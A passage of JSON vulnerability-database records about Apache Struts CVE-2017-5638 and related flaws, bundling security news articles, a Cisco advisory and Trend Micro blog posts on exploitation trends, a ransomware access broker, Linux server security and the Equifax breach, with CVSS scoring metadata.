"impactScore": 6.0}, "published": "2018-08-22T14:04:00", "type": "thn", "title": "New Apache Struts RCE Flaw Lets Hackers Take Over Web Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805", "CVE-2018-11776"], "modified": "2018-08-23T18:30:56", "id": "THN:89C2482FECD181DD37C6DAEEB7A66FA9", "href": "https://thehackernews.com/2018/08/apache-struts-vulnerability.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-01-27T10:06:55", "description": "[](<https://3.bp.blogspot.com/-_apYSKyOUKo/Wbe7DDGoMfI/AAAAAAAAC0o/yPE-wNpS2n83-GU6fD28_WevBKtwhDX1gCLcBGAs/s1600/apache-struts-cisco.jpg>)\n\nAfter [Equifax massive data breach](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) that was believed to be caused due to [a vulnerability in Apache Struts](<https://thehackernews.com/2017/03/apache-struts-framework.html>), Cisco has initiated an investigation into its products that incorporate a version of the popular Apache Struts2 web application framework. \n \nApache Struts is a free, open-source MVC framework for developing web applications in the Java programming language, and used by 65 percent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS. \n \nHowever, the popular open-source software package was recently found affected by multiple vulnerabilities, including two remote code execution vulnerabilities\u2014one discovered earlier this month, and another in March\u2014one of which is [believed to be used](<https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax>) to breach personal data of over [143 million Equifax users](<https://thehackernews.com/2017/09/equifax-data-breach.html>). \n \nSome of Cisco products including its Digital Media Manager, MXE 3500 Series Media Experience Engines, Network Performance Analysis, Hosted Collaboration Solution for Contact Center, and Unified Contact Center Enterprise have been found vulnerable to multiple Apache Struts flaws. \n \n\n\n### Cisco Launches Apache Struts Vulnerability Hunting\n\n \nCisco is also testing rest of its products against four newly discovered security vulnerability in Apache Struts2, including the one (CVE-2017-9805) [we reported on September 5](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) and the remaining three also disclosed last week. \n \nHowever, the remote code execution bug (CVE-2017-5638) that was [actively exploited back in March](<https://thehackernews.com/2017/03/apache-struts-framework.html>) this year is not included by the company in its recent security audit. \n \nThe three vulnerabilities\u2014CVE-2017-9793, CVE-2017-9804 and CVE-2017-9805\u2014included in the [Cisco security audit](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170907-struts2>) was released by the Apache Software Foundation on 5th September with the release of Apache Struts 2.5.13 which patched the issues. \n \nThe fourth vulnerability (CVE-2017-12611) that is being [investigated by Cisco](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170909-struts2-rce>) was released on 7th September with the release of Apache Struts 2.3.34 that fixed the flaw that resided in the Freemarker tag functionality of the Apache Struts2 package and could allow an unauthenticated, remote attacker to execute malicious code on an affected system. \n \n\n\n### Apache Struts Flaw Actively Exploited to Hack Servers & Deliver Malware\n\n \nComing on to the most severe of all, CVE-2017-9805 (assigned as critical) is a programming bug that manifests due to the way Struts REST plugin handles XML payloads while deserializing them. \n \nThis could allow a remote, unauthenticated attacker to achieve remote code execution on a host running a vulnerable version of Apache Struts2, and Cisco's Threat intelligence firm Talos has [observed](<http://blog.talosintelligence.com/2017/09/apache-struts-being-exploited.html>) that this flaw is [under active exploitation](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) to find vulnerable servers. \n \nSecurity researchers from data centre security vendor Imperva recently [detected](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>) and blocked thousands of attacks attempting to exploit this Apache Struts2 vulnerability (CVE-2017-9805), with roughly 80 percent of them tried to deliver a malicious payload. \n \nThe majority of attacks originated from China with a single Chinese IP address registered to a Chinese e-commerce company sending out more than 40% of all the requests. Attacks also came from Australia, the U.S., Brazil, Canada, Russia and various parts of Europe. \n \nOut of the two remaining flaws, one (CVE-2017-9793) is again a vulnerability in the REST plug-in for Apache Struts that manifests due to \"insufficient validation of user-supplied input by the XStream library in the REST plug-in for the affected application.\" \n \nThis flaw has been given a Medium severity and could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on targeted systems. \n \nThe last flaw (CVE-2017-9804) also allows an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected system but resides in the URLValidator feature of Apache Struts. \n \nCisco is testing its products against these vulnerabilities including its WebEx Meetings Server, the Data Center Network Manager, Identity Services Engine (ISE), MXE 3500 Series Media Experience Engines, several Cisco Prime products, some products for voice and unified communications, as well as video and streaming services. \n \nAt the current, there are no software patches to address the vulnerabilities in Cisco products, but the company promised to release updates for affected software which will soon be accessible through the [Cisco Bug Search Tool](<https://bst.cloudapps.cisco.com/bugsearch/bug/BUGID>). \n \nSince the framework is being widely used by a majority of top 100 fortune companies, they should also check their infrastructures against these vulnerabilities that incorporate a version of Apache Struts2.\n", "cvss3": {}, "published": "2017-09-11T23:50:00", "type": "thn", "title": "Apache Struts 2 Flaws Affect Multiple Cisco Products", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-9804", "CVE-2017-5638", "CVE-2017-9793", "CVE-2017-9805", "CVE-2017-12611"], "modified": "2017-09-12T10:51:16", "id": "THN:3F47D7B66C8A65AB31FAC5823C96C34D", "href": "https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2023-09-21T11:13:06", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEir4L0zsDJ9D5U4kME3FrbnUk5EFegKpTfUDGGS-jG-6WSfCd3IMiQWXApu0SvJg77AGeoxqfEAXOxrUNRyspVtEN5TxK3USDIqoYAff5WtDlquTcdsN1SeJXEljaMZkqSFZDSyb0uppqN2gRYb8FI7PAVV5-dWNfycSd656GJZcTXBvOhZlgMqkZ0vBE_1/s728-e365/malware-attack.jpg>)\n\nA financially motivated threat actor has been outed as an **initial access broker** (IAB) that sells access to compromised organizations for other adversaries to conduct follow-on attacks such as ransomware.\n\nSecureWorks Counter Threat Unit (CTU) has dubbed the e-crime group [Gold Melody](<https://www.secureworks.com/research/threat-profiles/gold-melody>), which is also known by the names Prophet Spider (CrowdStrike) and UNC961 (Mandiant).\n\n\"This financially motivated group has been active since at least 2017, compromising organizations by exploiting vulnerabilities in unpatched internet-facing servers,\" the cybersecurity company [said](<https://www.secureworks.com/research/gold-melody-profile-of-an-initial-access-broker>).\n\n\"The victimology suggests opportunistic attacks for financial gain rather than a targeted campaign conducted by a state-sponsored threat group for espionage, destruction, or disruption.\"\n\n[](<https://thn.news/o6a5Vxgy> \"Cybersecurity\" )\n\nGold Melody has been [previously](<https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/>) [linked](<https://www.crowdstrike.com/blog/prophet-spider-exploits-citrix-sharefile/>) to [attacks](<https://www.mandiant.com/resources/blog/mobileiron-log4shell-exploitation>) exploiting security flaws in JBoss Messaging (CVE-2017-7504), Citrix ADC (CVE-2019-19781), Oracle WebLogic (CVE-2020-14750 and CVE-2020-14882), GitLab (CVE-2021-22205), Citrix ShareFile Storage Zones Controller (CVE-2021-22941), Atlassian Confluence (CVE-2021-26084), ForgeRock AM (CVE-2021-35464), and Apache Log4j (CVE-2021-44228) servers.\n\nThe cybercrime group has been observed expanding its victimology footprint to strike retail, health care, energy, financial transactions, and high-tech organizations in North America, Northern Europe, and Western Asia as of mid-2020.\n\nMandiant, in an analysis published in March 2023, said that \"in multiple instances, UNC961 intrusion activity has preceded the deployment of Maze and Egregor ransomware from distinct follow-on actors.\"\n\nIt further [described](<https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated>) the group as \"resourceful in their opportunistic angle to initial access operations\" and noted it \"employs a cost-effective approach to achieve initial access by exploiting recently disclosed vulnerabilities using publicly available exploit code.\"\n\nBesides relying on a diverse arsenal comprising web shells, built-in operating system software, and publicly available utilities, it's known to employ proprietary remote access trojans (RATs) and tunneling tools such as GOTROJ (aka MUTEPUT), BARNWORK, HOLEDOOR, DARKDOOR, AUDITUNNEL, HOLEPUNCH, LIGHTBUNNY, and HOLERUN to execute arbitrary commands, gather system information, and establish a reverse tunnel with a hard-coded IP address.\n\nSecureworks, which linked Gold Melody to five intrusions between July 2020 and July 2022, said these attacks entailed the abuse of a different set of flaws, including those impacting Oracle E-Business Suite ([CVE-2016-0545](<https://nvd.nist.gov/vuln/detail/CVE-2016-0545>)), Apache Struts ([CVE-2017-5638](<https://www.synopsys.com/blogs/software-security/cve-2017-5638-apache-struts-vulnerability-explained.html>)), Sitecore XP ([CVE-2021-42237](<https://blog.assetnote.io/2021/11/02/sitecore-rce/>)), and Flexera FlexNet ([CVE-2021-4104](<https://thehackernews.com/2021/12/new-local-attack-vector-expands-attack.html>)) to obtain initial access.\n\nUPCOMING WEBINAR\n\n[Level-Up SaaS Security: A Comprehensive Guide to ITDR and SSPM\n\n](<https://thehacker.news/itdr-saas?source=inside>)\n\nStay ahead with actionable insights on how ITDR identifies and mitigates threats. Learn about the indispensable role of SSPM in ensuring your identity remains unbreachable.\n\n[Supercharge Your Skills](<https://thehacker.news/itdr-saas?source=inside>)\n\nA successful foothold is succeeded by the deployment of web shells for persistence, followed by creating directories in the compromised host to stage the tools used in the infection chain.\n\n\"Gold Melody conducts a considerable amount of scanning to understand a victim's environment,\" the company said. \"Scanning begins shortly after gaining access but is repeated and continued throughout the intrusion.\"\n\nThe reconnaissance phase paves the way for credential harvesting, lateral movement, and data exfiltration. That said, all five attacks ultimately proved to be unsuccessful.\n\n\"Gold Melody acts as a financially motivated IAB, selling access to other threat actors,\" the company concluded. \"The buyers subsequently monetize the access, likely through extortion via ransomware deployment.\"\n\n\"Its reliance on exploiting vulnerabilities in unpatched internet-facing servers for access reinforces the importance of robust patch management.\"\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-09-21T09:11:00", "type": "thn", "title": "Cyber Group 'Gold Melody' Selling Compromised Access to Ransomware Attackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-0545", "CVE-2017-5638", "CVE-2017-7504", "CVE-2019-19781", "CVE-2020-14750", "CVE-2020-14882", "CVE-2021-22205", "CVE-2021-22941", "CVE-2021-26084", "CVE-2021-35464", "CVE-2021-4104", "CVE-2021-42237", "CVE-2021-44228"], "modified": "2023-09-21T09:11:14", "id": "THN:3E5F28AD1BE3C9B2442EA318E6E13E5C", "href": "https://thehackernews.com/2023/09/cyber-group-gold-melody-selling.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:24", "description": "[](<https://thehackernews.com/images/-mNDlC0tKMKU/YSOiCQjKsfI/AAAAAAAADm0/8vxg1C4GweIrljnlPQrCj0yPLMYs18y_ACLcBGAsYHQ/s0/linux.jpg>)\n\nClose to 14 million Linux-based systems are directly exposed to the Internet, making them a lucrative target for an array of real-world attacks that could result in the deployment of malicious web shells, coin miners, ransomware, and other trojans.\n\nThat's according to an in-depth look at the Linux threat landscape published by U.S.-Japanese cybersecurity firm [Trend Micro](<https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/linux-threat-report-2021-1h-linux-threats-in-the-cloud-and-security-recommendations>), detailing the top threats and vulnerabilities affecting the operating system in the first half of 2021, based on data amassed from honeypots, sensors, and anonymized telemetry.\n\nThe company, which detected nearly 15 million malware events aimed at Linux-based cloud environments, found coin miners and ransomware to make up 54% of all malware, with web shells accounting for a 29% share.\n\nIn addition, by dissecting over 50 million events reported from 100,000 unique Linux hosts during the same time period, the researchers found 15 different security weaknesses that are known to be actively exploited in the wild or have a proof of concept (PoC) \u2014\n\n * [**CVE-2017-5638**](<https://nvd.nist.gov/vuln/detail/CVE-2017-5638>) (CVSS score: 10.0) - Apache Struts 2 remote code execution (RCE) vulnerability\n * [**CVE-2017-9805**](<https://nvd.nist.gov/vuln/detail/CVE-2017-9805>) (CVSS score: 8.1) - Apache Struts 2 REST plugin XStream RCE vulnerability\n * [**CVE-2018-7600**](<https://nvd.nist.gov/vuln/detail/CVE-2018-7600>) (CVSS score: 9.8) - Drupal Core RCE vulnerability\n * [**CVE-2020-14750**](<https://nvd.nist.gov/vuln/detail/CVE-2020-14750>) (CVSS score: 9.8) - Oracle WebLogic Server RCE vulnerability\n * [**CVE-2020-25213**](<https://nvd.nist.gov/vuln/detail/CVE-2020-25213>) (CVSS score: 10.0) - WordPress File Manager (wp-file-manager) plugin RCE vulnerability\n * [**CVE-2020-17496**](<https://nvd.nist.gov/vuln/detail/CVE-2020-17496>) (CVSS score: 9.8) - vBulletin 'subwidgetConfig' unauthenticated RCE vulnerability\n * [**CVE-2020-11651**](<https://nvd.nist.gov/vuln/detail/CVE-2020-11651>) (CVSS score: 9.8) - SaltStack Salt authorization weakness vulnerability\n * [**CVE-2017-12611**](<https://nvd.nist.gov/vuln/detail/CVE-2017-12611>) (CVSS score: 9.8) - Apache Struts OGNL expression RCE vulnerability\n * [**CVE-2017-7657**](<https://nvd.nist.gov/vuln/detail/CVE-2017-7657>) (CVSS score: 9.8) - Eclipse Jetty chunk length parsing integer overflow vulnerability\n * [**CVE-2021-29441**](<https://nvd.nist.gov/vuln/detail/CVE-2021-29441>) (CVSS score: 9.8) - Alibaba Nacos AuthFilter authentication bypass vulnerability\n * [**CVE-2020-14179**](<https://nvd.nist.gov/vuln/detail/CVE-2020-14179>) (CVSS score: 5.3) - Atlassian Jira information disclosure vulnerability \n * [**CVE-2013-4547**](<https://nvd.nist.gov/vuln/detail/CVE-2013-4547>) (CVSS score: 8.0) - Nginx crafted URI string handling access restriction bypass vulnerability\n * [**CVE-2019-0230**](<https://nvd.nist.gov/vuln/detail/CVE-2019-0230>) (CVSS score: 9.8) - Apache Struts 2 RCE vulnerability\n * [**CVE-2018-11776**](<https://nvd.nist.gov/vuln/detail/CVE-2018-11776>) (CVSS score: 8.1) - Apache Struts OGNL expression RCE vulnerability\n * [**CVE-2020-7961**](<https://nvd.nist.gov/vuln/detail/CVE-2020-7961>) (CVSS score: 9.8) - Liferay Portal untrusted deserialization vulnerability\n\n[](<https://thehackernews.com/images/-CcxYro041Ss/YSOhRgK85gI/AAAAAAAADmo/EddtTNpqRVsnxWJ2QLdym3CSkEJDwcSggCLcBGAsYHQ/s0/report-1.jpg>)\n\n[](<https://thehackernews.com/images/-p0iNN7yORLk/YSOhRABhMqI/AAAAAAAADmk/RQED6fXWrDkadRhDxqU0JzZOoWwJePPkQCLcBGAsYHQ/s0/report-.jpg>)\n\nEven more troublingly, the 15 most commonly used Docker images on the official Docker Hub repository has been revealed to harbor hundreds of vulnerabilities spanning across python, node, wordpress, golang, nginx, postgres, influxdb, httpd, mysql, debian, memcached, redis, mongo, centos, and rabbitmq, underscoring the need to [secure containers](<https://www.trendmicro.com/vinfo/us/security/news/security-technology/container-security-examining-potential-threats-to-the-container-environment>) from a wide range of potential threats at each stage of the development pipeline.\n\n\"Users and organizations should always apply security best practices, which include utilizing the security by design approach, deploying multilayered virtual patching or vulnerability shielding, employing the principle of least privilege, and adhering to the shared responsibility model,\" the researchers concluded.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-08-23T13:27:00", "type": "thn", "title": "Top 15 Vulnerabilities Attackers Exploited Millions of Times to Hack Linux Systems", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4547", "CVE-2017-12611", "CVE-2017-5638", "CVE-2017-7657", "CVE-2017-9805", "CVE-2018-11776", "CVE-2018-7600", "CVE-2019-0230", "CVE-2020-11651", "CVE-2020-14179", "CVE-2020-14750", "CVE-2020-17496", "CVE-2020-25213", "CVE-2020-7961", "CVE-2021-29441"], "modified": "2021-08-23T13:27:54", "id": "THN:7FD924637D99697D78D53283817508DA", "href": "https://thehackernews.com/2021/08/top-15-vulnerabilities-attackers.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cisco": [{"lastseen": "2023-06-24T08:41:30", "description": "On March 6, 2017, Apache disclosed a vulnerability in the Jakarta Multipart parser used in Apache Struts2 that could allow an attacker to execute commands remotely on a targeted system by using a crafted Content-Type, Content-Disposition, or Content-Length value.\n\n This vulnerability has been assigned CVE-ID CVE-2017-5638.\n\nThis advisory is available at the following link:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170310-struts2 [\"https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170310-struts2\"]", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-10T19:30:00", "type": "cisco", "title": "Apache Struts2 Jakarta Multipart Parser File Upload Code Execution Vulnerability Affecting Cisco Products", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-05-05T17:02:00", "id": "CISCO-SA-20170310-STRUTS2", "href": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170310-struts2", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "trendmicroblog": [{"lastseen": "2017-06-26T21:16:51", "description": "\n\n**_\u201cThere are no threats for Linux servers. Aren\u2019t they built to be secure?\u201d_**\n\n**_\u201cLinux servers are secure and hardened, why do we need additional security controls on those?\u201d_**\n\n**_\u201cI do understand there are threats out there but I am not aware of any major attacks on Linux servers\u201d_**\n\nIf you find yourself nodding as you read these statements, you\u2019re not alone.\n\nThere is a common belief that Linux servers are more secure and less vulnerable than Windows servers.\n\nAlthough there is some truth in the belief, the reality is that Linux servers (and the applications they host) also have vulnerabilities and by ignoring this, you are putting your business at unnecessary risk.\n\n**Widespread and increasing use**\n\nThere was a time not too long ago when Linux was a \u2018geek\u2019 OS, the domain of command line management and limited enterprise use. Those days are definitely gone, clearly illustrated by things like Gartner pegging the global OS growth for Linux at 13.5%[1], as well as the prevalence of Linux in the public cloud environment, as demonstrated by the fact that [approximately 90% of workloads in AWS EC2](<http://thecloudmarket.com/stats#/by_platform_definition>) are running some variant of Linux. With such widespread use for sensitive enterprise applications, it\u2019s no small wonder that there is an increasing focus on attacking Linux servers, as evidenced in the recent ransomware attack in South Korea that used a [Linux-focused ransomware attack called Erebus](<https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/erebus-linux-ransomware-impact-to-servers-and-countermeasures>) that impacted the web sites, databases, and multi-media files of 3,400 businesses.\n\n**Secure, but still vulnerable**\n\nWith more and more servers moving beyond the enterprise boundary and into the cloud, network protection at the host-level becomes increasingly important, as workloads need to defend themselves vs. having a perimeter around them. And remember, workloads include the applications that sit on top of Linux\u2026it\u2019s more than just the OS.\n\nHaving a host-based Intrusion Prevention System (IPS) will help protect against vulnerabilities in core operating system AND the application stack running on top. Great examples of network-accessible vulnerabilities with wide-spread impacts are the recent [Apache Struts-2](<http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-5638-apache-struts-vulnerability-remote-code-execution/>) issue, Heartbleed and Shellshock, but there are many more. And just because a vulnerability, like Heartbleed, is a couple years old doesn\u2019t mean that applications and servers are not still vulnerable. In a recent Shodan survey, it showed that Heartbleed was still an available vulnerability on more than 180,000 servers around the world, with the majority of them in the US!\n\n[1] Gartner, \u201cMarket Share Analysis: Server Operating Systems, Worldwide, 2016\u201d, ID#G00318388, May 26, 2017\n\n\n\nIf you run a web server on Linux (running on at least 37 percent of the web servers out there according to [W3Techs](<https://w3techs.com/technologies/details/os-linux/all/all>)), you need protection against vulnerabilities affecting them, including Apache, Nginx, etc.\n\n \n\n** ** | **Vulnerabilities Covered in and after 2014 (approx.)** | **Before 2014 (approx.)** | **Total** \n---|---|---|--- \n**Non-Windows OS and Core Services** | **80** | **230** | **310** \n**Web Servers** | **114** | **472** | **586** \n**Application Servers** | **255** | **319** | **574** \n**Web Console/Management Interfaces** | **113** | **453** | **566** \n**Database Servers** | **10** | **218** | **228** \n**DHCP, FTP, DNS servers** | **9** | **82** | **91** \n \n_Table 1: Vulnerabilities Protected by Deep Security_\n\n \n\nIt is very important to not confuse vulnerabilities with threats. While there may be fewer known threats for Linux, if you look at the National Vulnerability Database, there are a similar number of vulnerabilities reported for both [Linux](<https://nvd.nist.gov/vuln/search/results?adv_search=false&form_type=basic&results_type=overview&search_type=all&query=linux>), and [Windows](<https://nvd.nist.gov/vuln/search/results?adv_search=false&form_type=basic&results_type=overview&search_type=all&query=windows>) operating systems.\n\n**Malware, designed for Linux**\n\nContrary to popular belief, there is a lot of malware for the Linux platform. While the numbers in comparison to Microsoft Windows are not quite as high, there are still tens of thousands of pieces of malware designed for Linux, including the [Erebus ransomware](<https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/erebus-linux-ransomware-impact-to-servers-and-countermeasures>) mentioned above.\n\nDeploying ONLY anti-malware is inadequate for protecting servers. However, most attacks on datacenters that lead to breach involve the installation of malware as part of the attack chain. This is why compliance and security frameworks such as PCI-DSS (Section #3), SANS CIS Critical Security Controls (Section #8), and NIST Cybersecurity Framework (Section DE.CM-4) all continue to recommend anti-malware as a best practice.\n\n**Layered security for Linux workloads**\n\nIt\u2019s clear that there is no silver bullet when it comes to server security, and that businesses should be using a layered security approach to protect vulnerable Linux workloads. Beyond anti-malware and IPS, there are a number of controls that will help to build a robust Linux strategy:\n\n| \n\n * Application Control: helps \u2018lock down\u2019 the Linux host to prevent any unknown process or script from running. This prevents the malware from running in the first place or attackers from taking advantage of backdoors that it might have placed on the server.\n * Integrity Monitoring: A new threat is likely to make changes to the system somewhere (ports, protocol changes, files), so it\u2019s important to watch for these. Integrity monitoring helps with monitoring the system for any changes outside of an authorized change window, which tend to be few for typical production workloads.\n * Log Inspection: Scans log files and provides a continuous monitoring process to help identify threats early in the cycle. Attacks like SQL Injection, command injection, attacks against APIs can be seen in the logs and then action taken. \n---|--- \n| \n \nThe lesson we learn here is that although Linux is a more secure and reliable operating system option, it\u2019s not your cure-all solution when it comes to security. Like any other OS, some assembly and maintenance is required, and it\u2019s your responsibility to adopt a multi-layered security strategy, including managing regular updates and adding additional security controls to protect the servers AND the applications running on them. To learn more about Linux vulnerabilities and how to protect against them using Trend Micro Deep Security, [read our short research paper here.](<https://www.trendmicro.com/aws/wp-content/uploads/2017/03/Why_Security_for_Linux_Servers_June2017.pdf>)", "cvss3": {}, "published": "2017-06-15T19:00:13", "title": "Linux is secure\u2026right?", "type": "trendmicroblog", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-06-15T19:00:13", "href": "http://blog.trendmicro.com/linux-is-secureright/", "id": "TRENDMICROBLOG:5DA0AA0203F450ED9FF0CB21A89017BB", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-09-07T13:45:17", "description": "\n\nOne year ago today, Equifax suffered what remains one of the largest and most impactful data breaches in U.S. history. Last September, it was revealed that the personal information of [145 million Americans](<https://www.equifaxsecurity2017.com/frequently-asked-questions/>), almost [700,000 UK citizens](<https://www.equifax.co.uk/incident.html>), and [19,000 Canadians](<https://www.cbc.ca/news/business/equifax-canadians-affected-update-1.4424066>) was stolen by cybercriminals.\n\nThis information included names, addresses, birthdays, Social Security numbers, and\u2014in some cases\u2014driver's licenses. All critical, personally identifiable information (PII) that can resold in the underground and used to commit identity fraud.\n\nThis breach had very real impact on the millions affected. On Equifax? Or the industry as a whole? Not so much\u2026\n\nThe result is that your personal information remains \"entrusted\" with various agencies without your knowledge. Agencies that may or may not have your best interests at heart. A year after the Equifax breach, your data has never been at greater risk. **Why?**\n\nThe Equifax breach made international headlines for weeks. It's a story that has corporate intrigue, political uproar, and controversy\u2026yet nothing really has changed.\n\n## What Happened?\n\nCybercriminals gained access to Equifax's systems through a [known vulnerability](<https://nvd.nist.gov/vuln/detail/CVE-2017-5638>) in Apache Struts (a web application framework). This easily exploited vulnerability has been left unpatched and unmitigated by Equifax for weeks.\n\nWhen Equifax discovered the breach, they waited weeks to notify affected individuals and the general public. That notification came in the form of an insecure site on a new domain name. This contributed to the [criticism](<https://en.wikipedia.org/wiki/Equifax#Criticism>) the company faced as they bumbled the response.\n\n[The saga](<https://en.wikipedia.org/wiki/Equifax#May\u2013July_2017_data_breach>) took a number of twists and unexpected turns as [executives were accused](<https://www.theglobeandmail.com/business/international-business/us-business/article-former-equifax-employee-charged-in-us-with-insider-trading/>) of [insider trading](<https://www.theguardian.com/business/2018/mar/14/equifax-insider-trading-data-breach-jun-ying-charged>), having sold shared valued at $1.8 million dollars after the breach was discovered but before the public announcement. The [CIO and CISO](<https://techcrunch.com/2017/09/15/equifax-security-and-information-executives-are-stepping-down/>) stepped down in the wake of the breach. As the company continued to see pushback, political and consumer frustration, the [CEO eventually resigned](<https://www.npr.org/2017/09/26/553799200/equifax-ceo-richard-smith-resigns-after-backlash-over-massive-data-breach>) allowing the company to try and turn the page.\n\nAfter all, Equifax had the tools, people, and process in place to prevent the breach but simply dropped the ball\u2026with catastrophic results.\n\n## Customers?\n\nOne of the biggest challenges in light of this breach was the relationship that Equifax had with the affected individuals. Equifax maintained a significant amount of [personally identifiable information](<https://en.wikipedia.org/wiki/Personally_identifiable_information>) on hundreds of millions of individuals in the US and around the world yet very few of these individuals had a direct relationship with the company.\n\nEquifax and a handful of other [consumer credit reporting agencies](<https://www.thebalance.com/who-are-the-three-major-credit-bureaus-960416>) make their money by selling customer profiles and credit ratings to other business, essentially acting as massive reputation clearing houses.\n\nGiven the role played by these agencies, individuals in the US have alarmingly few actions they can take in recourse to an error or breach of their information in care of such an agency. This was a key point raised in the uproar after the Equifax breach.\n\nOne year later, let's check in on the progress made so far\u2026\n\n## Lack of Personal Data Protections\n\nAlarmingly, there has been no federal action and only one state has passed legislation regarding personal data protections since the Equifax breach.\n\nIn June, California passed the California Consumer Privacy Act of 2018 ([AB 